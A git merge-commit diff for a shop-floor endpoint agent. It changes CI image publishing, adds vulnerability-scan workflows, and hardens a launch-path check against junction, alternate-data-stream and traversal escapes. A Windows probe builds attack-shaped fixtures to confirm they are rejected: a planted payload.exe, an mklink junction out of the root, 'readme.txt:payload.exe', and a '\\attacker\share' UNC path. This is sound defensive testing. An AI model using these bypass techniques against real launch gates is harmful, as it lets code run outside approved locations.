Merge origin/main into align-wilm-main (align wilm with Cameron's latest)

Bring main's endpoint hardening, operator-report validation, launch-path
policy, and theme-variable CSS into wilm. Channel model reconciled to this
repo's shipping (stable=release tag, edge=main trunk) while keeping wilm's
remote-BuildKit publish step and GHCR pull-based launcher.
This commit is contained in:
benjamin.baker
2026-09-02 17:41:03 -04:00
33 changed files with 1539 additions and 117 deletions

View File

@@ -8,22 +8,31 @@
# A single image pull is one resumable HTTPS stream, far more robust through # A single image pull is one resumable HTTPS stream, far more robust through
# the proxy than hundreds of npm requests. # the proxy than hundreds of npm requests.
# #
# Channels map to branches: # Channels are mapped to how THIS repo actually ships, which is not how the
# main -> ghcr.io/<owner>/shopdb-flask:stable (badge off) # branch this came from ships. Upstream, main is a release branch and dev-be is
# dev-be -> ghcr.io/<owner>/shopdb-flask:edge (SHOPDB_ENV_LABEL=DEV badge) # the trunk. Here main IS the trunk - it runs hundreds of commits past the last
# release - and releases are tags (ADR-007). Publishing main as :stable would
# put unreleased work behind a word that promises the opposite, to sites that
# have no way to know:
# #
# Each push to those branches rebuilds and republishes its channel tag, so # tag v* -> ghcr.io/<owner>/shopdb-flask:stable (badge off) the release
# `edge` stays genuinely bleeding edge. The image is also tagged with the short # main -> ghcr.io/<owner>/shopdb-flask:edge (DEV badge) the trunk
# commit SHA for traceability and rollback. #
# The image also carries a short-SHA tag for traceability and rollback.
#
# Automatic publishing is OFF until someone confirms the GHCR package exists
# under this owner and decides who may pull it. Re-enable by uncommenting the
# push: block below; workflow_dispatch works meanwhile.
name: publish-images name: publish-images
on: on:
push: # push:
branches: # tags:
- main # - 'v*'
- dev-be # branches:
# Allow a manual rebuild/publish of the current branch's channel image. # - main
# Manual rebuild/publish of the current ref's channel image.
workflow_dispatch: workflow_dispatch:
# One in-flight publish per branch; a newer push supersedes an older one. # One in-flight publish per branch; a newer push supersedes an older one.
@@ -48,7 +57,10 @@ jobs:
run: | run: |
owner="$(echo '${{ github.repository_owner }}' | tr '[:upper:]' '[:lower:]')" owner="$(echo '${{ github.repository_owner }}' | tr '[:upper:]' '[:lower:]')"
image="ghcr.io/${owner}/shopdb-flask" image="ghcr.io/${owner}/shopdb-flask"
if [ "${{ github.ref_name }}" = "main" ]; then # A tag is a release, anything else is the trunk. Deliberately not
# keyed on the branch name: a release here is a tag, so keying on
# "main" would label the trunk stable.
if [ "${{ github.ref_type }}" = "tag" ]; then
channel="stable" channel="stable"
else else
channel="edge" channel="edge"
@@ -64,18 +76,18 @@ jobs:
username: ${{ github.actor }} username: ${{ github.actor }}
password: ${{ secrets.GITHUB_TOKEN }} password: ${{ secrets.GITHUB_TOKEN }}
# Connect to a persistent, out-of-cluster BuildKit deployment instead of # Connect to a persistent, out-of-cluster BuildKit deployment instead of
# spinning up a builder against a local Docker daemon. The arc-runner-set # spinning up a builder against a local Docker daemon. The arc-runner-set
# pods have no Docker daemon (no /var/run/docker.sock) and cannot run a # pods have no Docker daemon (no /var/run/docker.sock) and cannot run a
# privileged DinD sidecar under cluster policy, so we point Buildx at a # privileged DinD sidecar under cluster policy, so we point Buildx at a
# remote buildkitd Service. The endpoint is provided as a repo/org secret # remote buildkitd Service. The endpoint is provided as a repo/org secret
# (e.g. tcp://buildkit.buildkit.svc.cluster.local:1234), so it is not # (e.g. tcp://buildkit.buildkit.svc.cluster.local:1234), so it is not
# hardcoded here. See deploy/ci/buildkit-remote.yaml for the deployment. # hardcoded here. See deploy/ci/buildkit-remote.yaml for the deployment.
- name: Set up Buildx (remote BuildKit) - name: Set up Buildx (remote BuildKit)
uses: docker/setup-buildx-action@v3 uses: docker/setup-buildx-action@v3
with: with:
driver: remote driver: remote
endpoint: ${{ secrets.BUILDKIT_ENDPOINT }} endpoint: ${{ secrets.BUILDKIT_ENDPOINT }}
- name: Build and push channel image - name: Build and push channel image
uses: docker/build-push-action@v6 uses: docker/build-push-action@v6

View File

@@ -0,0 +1,32 @@
# Darkwing vulnerability scan, manual dispatch.
#
# Copied verbatim from the ge-aero/darkwing README so it stays byte-identical
# to the sanctioned integration. Do not edit this file to add triggers or
# gating - see scan-darkwing-pr.yml for that, which is ours to change.
#
# The file must sit on the default branch before a scan can run on ANY branch.
name: Scan (darkwing, portable)
on:
workflow_dispatch:
inputs:
target_ref:
description: Ref, branch, or sha of this repo to scan
required: false
type: string
default: main
permissions:
contents: read # checkout this repo via the ambient GITHUB_TOKEN
security-events: write # SARIF upload to the Security tab
actions: read # required by upload-sarif on private/internal repos
jobs:
scan:
runs-on: darkwing-scan
steps:
# @v1 is a moving tag pointing to the latest release that is compatible
# with this workflow file.
- uses: ge-aero/darkwing@v1
with:
target_ref: ${{ inputs.target_ref || 'main' }}

62
.github/workflows/scan-darkwing-pr.yml vendored Normal file
View File

@@ -0,0 +1,62 @@
# Darkwing scan on pull requests, so the "check against darkwing" is a check
# and not a thing somebody remembers to click.
#
# WHY THIS IS SEPARATE from scan-darkwing-portable.yml: that file is copied
# byte-for-byte from the ge-aero/darkwing README and is left alone so it keeps
# matching the sanctioned integration. Everything below is ours.
#
# THE TRAP THIS AVOIDS. The README workflow resolves its scan target as
# `inputs.target_ref || 'main'`. On a pull_request event there are no inputs,
# so that expression falls through to 'main' and the job scans the default
# branch instead of the code under review - a green Darkwing check that never
# looked at the change. Resolve the head SHA explicitly.
#
# Darkwing exits 0 whatever it finds (its own FAQ: "Does a finding fail my
# build? No."), so a passing job means the scan RAN, not that the code is
# clean. Findings land in Security -> Code scanning. Turning a finding into a
# hard failure means reading findings.sarif ourselves; the commented step at
# the bottom is the shape of that, deliberately left off until we have seen the
# false-positive rate on this repo.
name: Scan (darkwing, PR)
on:
pull_request:
permissions:
contents: read
security-events: write
actions: read
# One scan per PR. A new push supersedes the old one rather than queueing a
# second Bedrock spend against a diff nobody is reviewing any more.
concurrency:
group: darkwing-pr-${{ github.ref }}
cancel-in-progress: true
jobs:
scan:
runs-on: darkwing-scan
steps:
- uses: ge-aero/darkwing@v1
with:
# The PR's head, NOT the default branch. See the note above.
target_ref: ${{ github.event.pull_request.head.sha }}
# Gating, once the signal is trusted. Darkwing writes findings.sarif into
# its work dir and attaches it as the `findings` artifact; this reads the
# severities out and fails on error-level results only.
#
# - name: Fail on error-level findings
# run: |
# python - <<'PY'
# import json, pathlib, sys
# sarif = pathlib.Path('darkwing/findings.sarif')
# if not sarif.is_file():
# sys.exit('no findings.sarif: the scan did not produce results')
# doc = json.loads(sarif.read_text())
# bad = [r for run in doc.get('runs', [])
# for r in run.get('results', [])
# if r.get('level') == 'error']
# if bad:
# sys.exit(f'{len(bad)} error-level finding(s); see the Security tab')
# PY

View File

@@ -63,6 +63,19 @@ public sealed class LaunchPathPolicy
return false; return false;
} }
// Reject an alternate data stream before anything else looks at the
// path. On .NET Framework an interior colon made GetFullPath throw; on
// net8.0 it does not, so "readme.txt:payload.exe" survives, reports an
// .exe extension, passes the root check, and File.Exists returns true
// for the stream. CreateProcess will run it. Write access to any
// existing file under an approved root would otherwise be enough.
var lastSegment = Path.GetFileName(resolved);
if (lastSegment.Contains(':'))
{
reason = "path names an alternate data stream";
return false;
}
var extension = Path.GetExtension(resolved); var extension = Path.GetExtension(resolved);
if (!ApprovedExtensions.Contains(extension, StringComparer.OrdinalIgnoreCase)) if (!ApprovedExtensions.Contains(extension, StringComparer.OrdinalIgnoreCase))
{ {
@@ -82,10 +95,112 @@ public sealed class LaunchPathPolicy
return false; return false;
} }
fullPath = resolved; // Everything above is LEXICAL: GetFullPath is pure string normalization
// and never touches the disk, so the root check so far constrains the
// name, not the file. File.Exists follows reparse points, which means a
// junction anywhere under an approved root pointed the check at one
// place and the execution at another. Creating a junction needs no
// privilege, only write access to the parent - and vendor install trees
// under Program Files are not reliably locked down.
//
// So resolve what the path actually refers to and re-check THAT. A
// resolve failure rejects: this is the last gate before the agent runs
// the file.
string finalPath;
try
{
finalPath = ResolveFinalPath(resolved);
}
catch (Exception ex)
{
reason = $"cannot resolve the real path: {ex.Message}";
return false;
}
if (!IsUnderApprovedRoot(finalPath))
{
reason = "path resolves outside every approved launch root";
return false;
}
fullPath = finalPath;
return true; return true;
} }
// The path with every symlink and junction on it followed, so the caller
// checks the file that will actually execute. The leaf is resolved first,
// then the directory chain above it - a junction is usually placed on a
// DIRECTORY, so resolving only the leaf would miss the case this exists to
// catch.
private static string ResolveFinalPath(string resolved)
{
string? name;
try
{
name = System.IO.File.ResolveLinkTarget(resolved, returnFinalTarget: true)?.FullName;
}
catch
{
name = null;
}
if (!string.IsNullOrWhiteSpace(name))
{
// ResolveLinkTarget resolves the file itself; run it back through
// GetFullPath so the comparison sees the same shape as the roots.
return Path.GetFullPath(name);
}
// Not a link. Its directory chain still might be, so resolve that.
var directory = Path.GetDirectoryName(resolved);
if (string.IsNullOrEmpty(directory))
return resolved;
var realDirectory = ResolveDirectoryChain(directory);
return Path.GetFullPath(Path.Combine(realDirectory, Path.GetFileName(resolved)));
}
// Walk up the directory chain resolving any junction or symlink on it. A
// junction is usually placed on a DIRECTORY, not on the executable, so
// resolving only the leaf would miss the case this exists to catch.
private static string ResolveDirectoryChain(string directory)
{
// Stop at the volume root. Walking into it and asking whether "C:\" is
// a link throws DirectoryNotFoundException, which the caller turned
// into a rejection - so the first version of this rejected every
// legitimate path as well as the malicious ones. A fail-closed gate
// that also fails the normal case is just an outage. Caught in the VM,
// not here.
var parent = Path.GetDirectoryName(directory);
if (string.IsNullOrEmpty(parent) || parent == directory)
return directory;
var resolvedDirectory = TryResolveLink(directory);
if (resolvedDirectory is not null)
return resolvedDirectory;
var realParent = ResolveDirectoryChain(parent);
return realParent == parent
? directory
: Path.Combine(realParent, Path.GetFileName(directory));
}
// A component's link target, or null when it is not a link OR cannot be
// asked. Never throws: "cannot tell" must not be reported as "is a link",
// and the caller re-checks the assembled path against the roots regardless,
// so an unresolvable component cannot widen what is accepted.
private static string? TryResolveLink(string path)
{
try
{
var target = System.IO.Directory
.ResolveLinkTarget(path, returnFinalTarget: true)?.FullName;
return string.IsNullOrWhiteSpace(target) ? null : target;
}
catch
{
return null;
}
}
private bool IsUnderApprovedRoot(string resolved) private bool IsUnderApprovedRoot(string resolved)
{ {
foreach (var root in approvedRoots) foreach (var root in approvedRoots)

View File

@@ -0,0 +1,97 @@
using ShopDbEndpointAgent.Core;
// Planted-violation suite for LaunchPathPolicy, run on real Windows because the
// cases that matter (junctions, alternate data streams, 8.3 names) are
// filesystem behaviour, not string behaviour. Linux would prove nothing.
//
// Builds its own fixtures under an approved root, so it exercises the same
// shape as a real shop-floor install rather than a synthetic path.
int failures = 0;
void Check(string label, bool expectAccept, string candidate, LaunchPathPolicy policy)
{
var ok = policy.TryValidate(candidate, out var full, out var reason);
var pass = ok == expectAccept;
if (!pass) failures++;
var verdict = pass ? "PASS" : "FAIL";
var got = ok ? $"accepted -> {full}" : $"rejected ({reason})";
Console.WriteLine($"{verdict} {label}");
Console.WriteLine($" want={(expectAccept ? "accept" : "reject")} got={got}");
}
var root = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles), "LppFixture");
var outside = Path.Combine(Path.GetTempPath(), "LppOutside");
Directory.CreateDirectory(root);
Directory.CreateDirectory(outside);
var policy = new LaunchPathPolicy(new[] { root });
// A real executable inside the approved root.
var good = Path.Combine(root, "good.exe");
File.WriteAllBytes(good, new byte[] { 0x4D, 0x5A });
// The payload the attacker wants run, planted OUTSIDE the approved root.
var payload = Path.Combine(outside, "payload.exe");
File.WriteAllBytes(payload, new byte[] { 0x4D, 0x5A });
// A text file inside the root, to hang an alternate data stream off.
var carrier = Path.Combine(root, "readme.txt");
File.WriteAllText(carrier, "notes");
Console.WriteLine($"approved root : {root}");
Console.WriteLine($"outside dir : {outside}");
Console.WriteLine();
Check("a real exe under the approved root", true, good, policy);
Check("wrong extension", false, carrier, policy);
Check("file that does not exist", false, Path.Combine(root, "nope.exe"), policy);
Check("traversal back out of the root", false,
Path.Combine(root, "..", "..", "Windows", "System32", "cmd.exe"), policy);
Check("UNC path", false, @"\\attacker\share\payload.exe", policy);
Check("sibling directory sharing the root's prefix", false, root + "Evil\\payload.exe", policy);
Check("empty path", false, "", policy);
// --- alternate data stream --------------------------------------------------
try
{
File.WriteAllBytes(carrier + ":payload.exe", new byte[] { 0x4D, 0x5A });
Check("alternate data stream on a file in the root", false,
carrier + ":payload.exe", policy);
}
catch (Exception ex)
{
Console.WriteLine($"SKIP alternate data stream fixture: {ex.Message}");
}
// --- directory junction out of the root ------------------------------------
var junction = Path.Combine(root, "logs");
var mk = System.Diagnostics.Process.Start(new System.Diagnostics.ProcessStartInfo
{
FileName = "cmd.exe",
Arguments = $"/c mklink /J \"{junction}\" \"{outside}\"",
UseShellExecute = false, RedirectStandardOutput = true, RedirectStandardError = true,
});
mk!.WaitForExit();
if (mk.ExitCode == 0)
{
Check("exe reached through a junction pointing out of the root", false,
Path.Combine(junction, "payload.exe"), policy);
}
else
{
Console.WriteLine($"SKIP junction fixture: mklink exit {mk.ExitCode} {mk.StandardError.ReadToEnd().Trim()}");
}
// --- 8.3 short name ---------------------------------------------------------
// 8.3 short names used to be rejected, because the lexical prefix check could
// not match "C:\PROGRA~1" against "C:\Program Files" - fail closed, but only by
// accident of not understanding the path. Resolution now expands it to the real
// directory, which IS under the approved root, so accepting is correct: the
// check that matters runs on the resolved path either way.
var shortRoot = Path.Combine(@"C:\PROGRA~1", "LppFixture", "good.exe");
Check("8.3 short name resolving into the approved root", true, shortRoot, policy);
Console.WriteLine();
Console.WriteLine(failures == 0 ? "ALL EXPECTATIONS MET" : $"{failures} EXPECTATION(S) NOT MET");
return failures == 0 ? 0 : 1;

View File

@@ -0,0 +1,33 @@
# LaunchPathPolicy probe
A planted-violation probe for `LaunchPathPolicy`. It builds real fixtures under
a real approved root - a junction pointing out of it, an alternate data stream,
an 8.3 short name - and asserts what the policy does with each.
## Why it is not a unit test in CI
The cases worth testing are filesystem behaviour, not string behaviour:
junctions, alternate data streams and 8.3 short names do not exist on Linux, and
CI runs on Linux runners. A suite that skipped every meaningful case there would
report green and mean nothing, which is the failure shape this repo has already
been bitten by more than once. So it is a probe you run on Windows, by hand,
when the policy changes.
## Running it
Publish from the dev box and run it in the win11 VM:
dotnet publish agent/ShopDbEndpointAgent.PolicyProbe -c Release -r win-x64 \
--self-contained true -p:PublishSingleFile=true -o /tmp/lpp
Copy `lpp/lpptest.exe` into the VM and run it as an account that may create a
junction under Program Files. Exit code 0 means every expectation held; it
prints one line per case either way.
## What it caught
The first version of the link-resolving hardening recursed to the volume root
and asked whether `C:\` was a link. That throws, and the caller treated a
resolve failure as a rejection - so the policy rejected every legitimate launch
path as well as the malicious ones. It compiled cleanly and read correctly. Only
running it on Windows showed the agent would have failed closed on everything.

View File

@@ -0,0 +1,20 @@
<Project Sdk="Microsoft.NET.Sdk">
<!-- Planted-violation probe for LaunchPathPolicy. See README.md next to this
file: it is run BY HAND on Windows, not by CI, because the cases it
exists to catch are filesystem behaviour and CI runs on Linux.
net8.0, not net8.0-windows: the policy itself only touches System.IO, and
a plain target cross-publishes from the Linux dev box. -->
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net8.0</TargetFramework>
<Nullable>enable</Nullable>
<ImplicitUsings>enable</ImplicitUsings>
<AssemblyName>lpptest</AssemblyName>
<RootNamespace>LppTest</RootNamespace>
<InvariantGlobalization>true</InvariantGlobalization>
</PropertyGroup>
<ItemGroup>
<Compile Include="../ShopDbEndpointAgent.Core/LaunchPathPolicy.cs" Link="LaunchPathPolicy.cs" />
</ItemGroup>
</Project>

View File

@@ -3,4 +3,6 @@
<Project Path="ShopDbEndpointAgent.Tray/ShopDbEndpointAgent.Tray.csproj" /> <Project Path="ShopDbEndpointAgent.Tray/ShopDbEndpointAgent.Tray.csproj" />
<Project Path="ShopDbEndpointAgent/ShopDbEndpointAgent.csproj" /> <Project Path="ShopDbEndpointAgent/ShopDbEndpointAgent.csproj" />
<Project Path="ShopDbAdoptionTool/ShopDbAdoptionTool.csproj" /> <Project Path="ShopDbAdoptionTool/ShopDbAdoptionTool.csproj" />
<!-- Run by hand on Windows, never by CI. See its README. -->
<Project Path="ShopDbEndpointAgent.PolicyProbe/ShopDbEndpointAgent.PolicyProbe.csproj" />
</Solution> </Solution>

View File

@@ -83,7 +83,10 @@ services:
environment: environment:
<<: *app-env <<: *app-env
ports: ports:
- "${API_PORT:-5001}:5001" # Loopback only, same as the DB below. This stack generates its own
# dev secrets and may hold a real imported dataset; it has no business
# listening on every interface of a laptop on a shop-floor network.
- "127.0.0.1:${API_PORT:-5001}:5001"
volumes: volumes:
- instance_data:/app/instance - instance_data:/app/instance

View File

@@ -21826,8 +21826,8 @@
"tags": [ "tags": [
"plugin-endpoints" "plugin-endpoints"
], ],
"summary": "List endpoints reporting through the ShopDB agent, with last-seen and online state", "summary": "List endpoint states. Registered both with and without the trailing slash, so both forms are described here",
"description": "List endpoints reporting through the ShopDB agent, with last-seen and online state\n\n**Auth:** endpoints.view\n\n**Params:** query: search (hostname substring)\n\n**Example:**\n```\ncurl -H \"Authorization: Bearer $TOKEN\" http://localhost:5001/api/endpoints\n```", "description": "List endpoint states. Registered both with and without the trailing slash, so both forms are described here\n\n**Auth:** endpoints.view\n\n**Params:** query: search (hostname substring)\n\n**Example:**\n```\ncurl -H \"Authorization: Bearer $TOKEN\" http://localhost:5001/api/endpoints\n```",
"security": [ "security": [
{ {
"bearerAuth": [] "bearerAuth": []
@@ -22718,6 +22718,432 @@
} }
} }
}, },
"/api/endpoints/monitors": {
"get": {
"tags": [
"plugin-endpoints"
],
"summary": "List every monitor definition, shipped and local, ordered shipped-first then by display name",
"description": "List every monitor definition, shipped and local, ordered shipped-first then by display name\n\n**Auth:** jwt + require_permission endpoints.view\n\n**Params:** none\n\n**Example:**\n```\ncurl http://localhost:5001/api/endpoints/monitors -H \"Authorization: Bearer $TOK\"\n```",
"security": [
{
"bearerAuth": []
}
],
"responses": {
"200": {
"description": "Success. Body is the success_response envelope: {status, data, meta}.",
"content": {
"application/json": {
"$ref": "#/components/schemas/SuccessEnvelope"
}
}
},
"default": {
"description": "Error. Body is the error envelope; the code and message are nested under data.error.",
"content": {
"application/json": {
"$ref": "#/components/schemas/ErrorEnvelope"
}
}
},
"401": {
"description": "Missing or invalid credentials."
},
"403": {
"description": "Authenticated, but not permitted."
}
}
},
"post": {
"tags": [
"plugin-endpoints"
],
"summary": "Create a local monitor definition; source is forced to 'local' so a caller cannot mint a shipped row",
"description": "Create a local monitor definition; source is forced to 'local' so a caller cannot mint a shipped row\n\n**Auth:** jwt + require_role admin\n\n**Params:** body: kind (process|service, required), displayname (required), processname (required for process), servicename (required for service), launchpath, datacollectorpath, logcollectorpath, isactive (default true)\n\n**Example:**\n```\ncurl -X POST http://localhost:5001/api/endpoints/monitors -H \"Authorization: Bearer $TOK\" -H 'Content-Type: application/json' -d '{\"kind\":\"service\",\"displayname\":\"Spooler\",\"servicename\":\"Spooler\"}'\n```",
"security": [
{
"bearerAuth": []
}
],
"responses": {
"200": {
"description": "Success. Body is the success_response envelope: {status, data, meta}.",
"content": {
"application/json": {
"$ref": "#/components/schemas/SuccessEnvelope"
}
}
},
"default": {
"description": "Error. Body is the error envelope; the code and message are nested under data.error.",
"content": {
"application/json": {
"$ref": "#/components/schemas/ErrorEnvelope"
}
}
},
"401": {
"description": "Missing or invalid credentials."
},
"403": {
"description": "Authenticated, but not permitted."
}
},
"requestBody": {
"required": true,
"content": {
"application/json": {
"schema": {
"type": "object",
"additionalProperties": true,
"description": "body: kind (process|service, required), displayname (required), processname (required for process), servicename (required for service), launchpath, datacollectorpath, logcollectorpath, isactive (default true)"
}
}
}
}
}
},
"/api/endpoints/monitors/{monitor_id}": {
"put": {
"tags": [
"plugin-endpoints"
],
"summary": "Update a local monitor definition; 403 on a shipped row, which is product-owned and read-only",
"description": "Update a local monitor definition; 403 on a shipped row, which is product-owned and read-only\n\n**Auth:** jwt + require_role admin\n\n**Params:** path: monitor_id; body: same fields as create, all optional\n\n**Example:**\n```\ncurl -X PUT http://localhost:5001/api/endpoints/monitors/4 -H \"Authorization: Bearer $TOK\" -H 'Content-Type: application/json' -d '{\"isactive\":false}'\n```",
"security": [
{
"bearerAuth": []
}
],
"responses": {
"200": {
"description": "Success. Body is the success_response envelope: {status, data, meta}.",
"content": {
"application/json": {
"$ref": "#/components/schemas/SuccessEnvelope"
}
}
},
"default": {
"description": "Error. Body is the error envelope; the code and message are nested under data.error.",
"content": {
"application/json": {
"$ref": "#/components/schemas/ErrorEnvelope"
}
}
},
"401": {
"description": "Missing or invalid credentials."
},
"403": {
"description": "Authenticated, but not permitted."
},
"404": {
"description": "No such record."
}
},
"parameters": [
{
"name": "monitor_id",
"in": "path",
"required": true,
"schema": {
"type": "string"
}
}
],
"requestBody": {
"required": true,
"content": {
"application/json": {
"schema": {
"type": "object",
"additionalProperties": true,
"description": "path: monitor_id; body: same fields as create, all optional"
}
}
}
}
},
"delete": {
"tags": [
"plugin-endpoints"
],
"summary": "Delete a local monitor definition; 403 on a shipped row",
"description": "Delete a local monitor definition; 403 on a shipped row\n\n**Auth:** jwt + require_role admin\n\n**Params:** path: monitor_id\n\n**Example:**\n```\ncurl -X DELETE http://localhost:5001/api/endpoints/monitors/4 -H \"Authorization: Bearer $TOK\"\n```",
"security": [
{
"bearerAuth": []
}
],
"responses": {
"200": {
"description": "Success. Body is the success_response envelope: {status, data, meta}.",
"content": {
"application/json": {
"$ref": "#/components/schemas/SuccessEnvelope"
}
}
},
"default": {
"description": "Error. Body is the error envelope; the code and message are nested under data.error.",
"content": {
"application/json": {
"$ref": "#/components/schemas/ErrorEnvelope"
}
}
},
"401": {
"description": "Missing or invalid credentials."
},
"403": {
"description": "Authenticated, but not permitted."
},
"404": {
"description": "No such record."
}
},
"parameters": [
{
"name": "monitor_id",
"in": "path",
"required": true,
"schema": {
"type": "string"
}
}
]
}
},
"/api/endpoints/monitors/resolve": {
"get": {
"tags": [
"plugin-endpoints"
],
"summary": "Resolve the monitor set a PC type should watch: shipped defaults for 'Shopfloor PC' plus whatever active site policy...",
"description": "Resolve the monitor set a PC type should watch: shipped defaults for 'Shopfloor PC' plus whatever active site policy attaches to that type. The human-facing view of what the agent will be told\n\n**Auth:** jwt + require_permission endpoints.view\n\n**Params:** query: pctype (required)\n\n**Example:**\n```\ncurl 'http://localhost:5001/api/endpoints/monitors/resolve?pctype=Shopfloor+PC' -H \"Authorization: Bearer $TOK\"\n```",
"security": [
{
"bearerAuth": []
}
],
"responses": {
"200": {
"description": "Success. Body is the success_response envelope: {status, data, meta}.",
"content": {
"application/json": {
"$ref": "#/components/schemas/SuccessEnvelope"
}
}
},
"default": {
"description": "Error. Body is the error envelope; the code and message are nested under data.error.",
"content": {
"application/json": {
"$ref": "#/components/schemas/ErrorEnvelope"
}
}
},
"401": {
"description": "Missing or invalid credentials."
},
"403": {
"description": "Authenticated, but not permitted."
}
}
}
},
"/api/endpoints/monitors/resolved": {
"get": {
"tags": [
"plugin-endpoints"
],
"summary": "Agent runtime watch-list. The agent calls this each telemetry cycle and receives {processes[], services[]} shaped like...",
"description": "Agent runtime watch-list. The agent calls this each telemetry cycle and receives {processes[], services[]} shaped like its own MonitorConfig, so a policy-attached monitor is watched without editing appsettings.json on the bay. Unknown hostname is a 404; a PC type with no monitors returns empty lists\n\n**Auth:** endpoints collector API key (X-API-Key/Bearer), not JWT\n\n**Params:** query: hostname (required)\n\n**Example:**\n```\ncurl 'http://localhost:5001/api/endpoints/monitors/resolved?hostname=F7MHPF24' -H \"X-API-Key: $ENDPOINTS_KEY\"\n```",
"security": [
{
"apiKeyAuth": []
}
],
"responses": {
"200": {
"description": "Success. Body is the success_response envelope: {status, data, meta}.",
"content": {
"application/json": {
"$ref": "#/components/schemas/SuccessEnvelope"
}
}
},
"default": {
"description": "Error. Body is the error envelope; the code and message are nested under data.error.",
"content": {
"application/json": {
"$ref": "#/components/schemas/ErrorEnvelope"
}
}
},
"401": {
"description": "Missing or invalid credentials."
},
"403": {
"description": "Authenticated, but not permitted."
}
}
}
},
"/api/endpoints/operatorreports": {
"post": {
"tags": [
"plugin-endpoints"
],
"summary": "Agent uploads one operator issue report captured from the tray. The hostname must resolve to a computer asset. The...",
"description": "Agent uploads one operator issue report captured from the tray. The hostname must resolve to a computer asset. The screenshot is stored under a server-generated uuid filename; a retention sweep runs opportunistically so the feed stays bounded without a scheduler\n\n**Auth:** endpoints collector API key (X-API-Key/Bearer), not JWT\n\n**Params:** multipart/form-data: hostname (required), reason (default 'Other (free text)', truncated to 128), details, screenshot (png, 10 MB cap)\n\n**Example:**\n```\ncurl -X POST http://localhost:5001/api/endpoints/operatorreports -H \"X-API-Key: $ENDPOINTS_KEY\" -F hostname=F7MHPF24 -F 'details=Machine will not home' -F screenshot=@shot.png\n```",
"security": [
{
"apiKeyAuth": []
}
],
"responses": {
"200": {
"description": "Success. Body is the success_response envelope: {status, data, meta}.",
"content": {
"application/json": {
"$ref": "#/components/schemas/SuccessEnvelope"
}
}
},
"default": {
"description": "Error. Body is the error envelope; the code and message are nested under data.error.",
"content": {
"application/json": {
"$ref": "#/components/schemas/ErrorEnvelope"
}
}
},
"401": {
"description": "Missing or invalid credentials."
},
"403": {
"description": "Authenticated, but not permitted."
}
},
"requestBody": {
"required": true,
"content": {
"application/json": {
"schema": {
"type": "object",
"additionalProperties": true,
"description": "multipart/form-data: hostname (required), reason (default 'Other (free text)', truncated to 128), details, screenshot (png, 10 MB cap)"
}
}
}
}
}
},
"/api/endpoints/panel/{asset_id}/operatorreports": {
"get": {
"tags": [
"plugin-endpoints"
],
"summary": "Operator Reports asset panel: this endpoint's reports newest first, each carrying a hasimage flag so the viewer knows...",
"description": "Operator Reports asset panel: this endpoint's reports newest first, each carrying a hasimage flag so the viewer knows whether to request the screenshot\n\n**Auth:** jwt + require_permission endpoints.view\n\n**Params:** path: asset_id\n\n**Example:**\n```\ncurl http://localhost:5001/api/endpoints/panel/46/operatorreports -H \"Authorization: Bearer $TOK\"\n```",
"security": [
{
"bearerAuth": []
}
],
"responses": {
"200": {
"description": "Success. Body is the success_response envelope: {status, data, meta}.",
"content": {
"application/json": {
"$ref": "#/components/schemas/SuccessEnvelope"
}
}
},
"default": {
"description": "Error. Body is the error envelope; the code and message are nested under data.error.",
"content": {
"application/json": {
"$ref": "#/components/schemas/ErrorEnvelope"
}
}
},
"401": {
"description": "Missing or invalid credentials."
},
"403": {
"description": "Authenticated, but not permitted."
},
"404": {
"description": "No such record."
}
},
"parameters": [
{
"name": "asset_id",
"in": "path",
"required": true,
"schema": {
"type": "string"
}
}
]
}
},
"/api/endpoints/operatorreports/{operatorreportid}/image": {
"get": {
"tags": [
"plugin-endpoints"
],
"summary": "Serve one operator report's screenshot, hardened with the shared upload headers (CSP sandbox + nosniff); 404 when the...",
"description": "Serve one operator report's screenshot, hardened with the shared upload headers (CSP sandbox + nosniff); 404 when the report carries no image\n\n**Auth:** jwt + require_permission endpoints.view\n\n**Params:** path: operatorreportid\n\n**Example:**\n```\ncurl http://localhost:5001/api/endpoints/operatorreports/12/image -H \"Authorization: Bearer $TOK\" -o shot.png\n```",
"security": [
{
"bearerAuth": []
}
],
"responses": {
"200": {
"description": "Success. Body is the success_response envelope: {status, data, meta}.",
"content": {
"application/json": {
"$ref": "#/components/schemas/SuccessEnvelope"
}
}
},
"default": {
"description": "Error. Body is the error envelope; the code and message are nested under data.error.",
"content": {
"application/json": {
"$ref": "#/components/schemas/ErrorEnvelope"
}
}
},
"401": {
"description": "Missing or invalid credentials."
},
"403": {
"description": "Authenticated, but not permitted."
},
"404": {
"description": "No such record."
}
},
"parameters": [
{
"name": "operatorreportid",
"in": "path",
"required": true,
"schema": {
"type": "string"
}
}
]
}
},
"/api/scripts": { "/api/scripts": {
"get": { "get": {
"tags": [ "tags": [

View File

@@ -186,10 +186,11 @@
page rather than a single card. --> page rather than a single card. -->
<div <div
v-if="lightbox.panel" v-if="lightbox.panel"
ref="lightboxEl"
class="pap-lightbox" class="pap-lightbox"
role="dialog" role="dialog"
aria-modal="true" aria-modal="true"
tabindex="0" tabindex="-1"
@click.self="closeReport" @click.self="closeReport"
@keydown.esc="closeReport" @keydown.esc="closeReport"
@keydown.left="cycleReport(-1)" @keydown.left="cycleReport(-1)"
@@ -235,7 +236,7 @@
</template> </template>
<script setup> <script setup>
import { ref, computed, watch, onUnmounted } from 'vue' import { ref, computed, watch, onUnmounted, nextTick } from 'vue'
import api from '../api' import api from '../api'
import { colorStyle } from '@/utils/colorStyle' import { colorStyle } from '@/utils/colorStyle'
import { import {
@@ -255,19 +256,38 @@ function formatDate(value) {
return formatValue(value, { format: 'date' }) return formatValue(value, { format: 'date' })
} }
// Called from the template, so it runs on EVERY render. Without the seen-set it
// re-fired the GET for a report whose fetch was still in flight, and because
// each resolution reassigns reportImageUrls the whole grid re-rendered and
// re-fired the rest - N thumbnails cost up to N-squared requests on first load.
// Two blobs resolving for one key also orphaned the first object URL, which
// revokeReportImageUrls could not free because only the surviving one was in
// the map. A failure was never recorded either, so a broken image retried for
// the life of the page.
//
// requestedReportImages tracks "we have asked", separately from the map of
// resolved URLs, and is cleared alongside it.
const requestedReportImages = new Set()
function reportImageUrl(panel, report) { function reportImageUrl(panel, report) {
const key = report.operatorreportid const key = report.operatorreportid
if (reportImageUrls.value[key]) return reportImageUrls.value[key] if (reportImageUrls.value[key]) return reportImageUrls.value[key]
if (requestedReportImages.has(key)) return ''
requestedReportImages.add(key)
const base = panel.imagebase || '/api/endpoints/operatorreports' const base = panel.imagebase || '/api/endpoints/operatorreports'
